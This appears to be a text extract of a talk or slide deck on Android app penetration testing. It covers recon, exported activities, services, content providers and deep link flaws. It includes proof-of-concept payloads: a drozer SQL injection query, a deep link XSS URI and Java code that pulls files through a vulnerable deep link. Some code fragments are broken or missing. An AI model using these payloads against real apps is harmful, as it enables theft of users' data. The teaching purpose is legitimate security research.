Android Hacking: by Kyle B3nac
Android Hacking: by Kyle B3nac
By Kyle B3nac
@b3nac
Overview
Cell Phones - Galaxy S10e, test phone J3 Orbit, Android Studio emulator
Android Recon
Find exported components, api keys, custom deep link schemas, schema endpoints etc.
- resources.arsc/strings.xml
Developers are encouraged to store strings in this file instead of hard coding in application.
- res/xml/file_paths.xml
getString(R.string.cmVzb3VyY2VzX3lv)
cmVzb3VyY2VzX3lv is the string resource label.
<string name="cmVzb3VyY2VzX3lv">apikeyhere</string>
- Broadcast receivers - Receives broadcasts from events of interest. Usually specified broadcasted
intents in the broadcast receiver activity.
- Content providers - Helps applications manage access to stored data and ways to share data with
other Android applications.
How to Exploit Android Activities
One exported activity that accepts a user provided intent can expose protected intents.
Often combined with deep links to steal data via unvalidated parameters. Write session tokens to an
external file.
- Access to sensitive files, stealing files, replacing imported files via exported Activities
external-files-path, external-path
// if deeplink does not equal null startActivity with intent provided by user
}
Exploitation of Android Services
Custom file upload service example that is vulnerable because android:exported="true". When exported by third party
applications can send data to the service or steal sensitive data from applications depending on the services function. Check
if params and intent data can be set with proof of concept application.
}
catch(FileNotFoundException e) {
throw new IllegalStateException(e); //Here to satisfy try catch requirement
}
ADB PoC
Java PoC
adb shell content query --uri <URI> [--user <USER_ID>] [--projection <PROJECTION>] [--where <WHERE>] [--sort
<SORT_ORDER>]
dz> run app.provider.query content://app.test/ --projection "*FROM SQLITE MASTER WHERE type='table';--"
Upload content providers that only verify class names can be exploited to use third party activities that
have the same name “com.app.spoofedactivity”. This is possible because
android:grantUriPermissions="true" and the boolean being used.
Verified deep links can only use http and https schemas. Sometimes developers keep custom schemas for testing new
features.
Exploitation of Deep Links
Type of vulnerabilities are based on how the scheme://, host://, and parameters are validated
Open redirect - Test when custom schemes do not verify endpoint parameters or hosts
XSS - Test when endpoint parameters or host not validated, addJavaScriptInterface and
setJavascriptEnabled(true); is used.
Developers sometimes use deep links as a shortcut that will modify data or automatically execute an action
such as downloading a file. CSRF takes place with “state changing deep links.”
All deep links are GET requests and should be verified with autoVerify=true. Verified deep links also check
Android application origin based on sha256_cert_fingerprints.
https://domain.name/.well-known/assetlinks.json
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="https" android:host="www.example.com" />
<data android:scheme="https" android:host="mobile.example.com" />
</intent-filter>
Deep Link CSRF Examples
Find a deeplink that automates an action without a user prompt, chances are the user has already granted permissions for all
application actions.
For example a deep link that automatically downloads a sensitive file to a public directory guarantees a malware application
can steal that file.
Java
Request deeplink.
Then steal file with Intent.ACTION_SENDTO and Intent.EXTRA_STREAM from public directory for proof of concept.
Deep Link Open Redirects
Schema in an intent-filter only specified with a scheme in AndroidManifest.xml
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="flag11"/>
</intent-filter>
if (appSchema) {
startActivity(Intent(Intent.ACTION_VIEW, Uri.parse(
convertScheme)))
}
Deep Link Open Redirect Example
Android doesn’t enable javascript by default. When a mobile application needs to interact with a Web
application this is where javascript is sometimes enabled for compatibility with WebViews.
//Defined Webview
flagWebView.loadUrl(getIntent().getStringExtra("totally_secure"));
Deep Link XSS Example
Proof of concept with Java
Uri uri = Uri.parse("appschema://<svg onload=alert(1)>");
Intent startDownloadIntent = new Intent(Intent.ACTION_VIEW, uri);
startActivity(startDownloadIntent);
Verified schemes such as http:// and https:// might lookup server files from the mobile application
depending on implementation.
There’s two keywords for externally saved files “external-files-path” and “external-path”. APP_DATA in the
example above is what the file directory name would be in a publically accessible app directory.
Files Stored in Public Directories
“Use the directories within internal storage to save sensitive information that other apps shouldn't access.”
Environment.getExternalStorageDirectory() /storage/sdcard0
Environment.getExternalStoragePublicDirectory(DIRECTORY_ALARMS) /storage/sdcard0/Alarms
Environment.getExternalStoragePublicDirectory(DIRECTORY_DCIM) /storage/sdcard0/DCIM
Environment.getExternalStoragePublicDirectory(DIRECTORY_DOWNLOADS) /storage/sdcard0/Download
Environment.getExternalStoragePublicDirectory(DIRECTORY_MOVIES) /storage/sdcard0/Movies
Environment.getExternalStoragePublicDirectory(DIRECTORY_MUSIC) /storage/sdcard0/Music
Environment.getExternalStoragePublicDirectory(DIRECTORY_NOTIFICATIONS) /storage/sdcard0/Notifications
Environment.getExternalStoragePublicDirectory(DIRECTORY_PICTURES) /storage/sdcard0/Pictures
Environment.getExternalStoragePublicDirectory(DIRECTORY_PODCASTS) /storage/sdcard0/Podcasts
Environment.getExternalStoragePublicDirectory(DIRECTORY_RINGTONES) /storage/sdcard0/Ringtones
Application directories that can be accessed with read/write granted permissions then it’s basically public
/sdcard/Android/data/com.example/appdata/example.pdf
Deep Link LFI Example
Proof of concept with Java
private static void searchFolderRecursive (File folder ) {
if (folder != null) {
if (folder .listFiles () != null) {
for (File file : folder .listFiles ()) {
if (file.isFile ()) {
if(file.getName ().contains (".pdf" )){
Uri uri = Uri.parse("appschema://dashboard/goto?file=/sdcard/Android/data/com.example/appdirectory/" +
file.getName ());
Intent intent = new Intent (Intent .ACTION_VIEW , uri);
startActivity (intent );
Log.v("Got a file!" , "File = " + file.getName ());
}
} else {
searchFolderRecursive (file);
}
}
}
}
}
Tool resources:
https://github.com/skylot/jadx
https://developer.android.com/studio/command-line/adb
https://github.com/sensepost/objection
https://github.com/FSecureLABS/drozer
https://sqlitebrowser.org/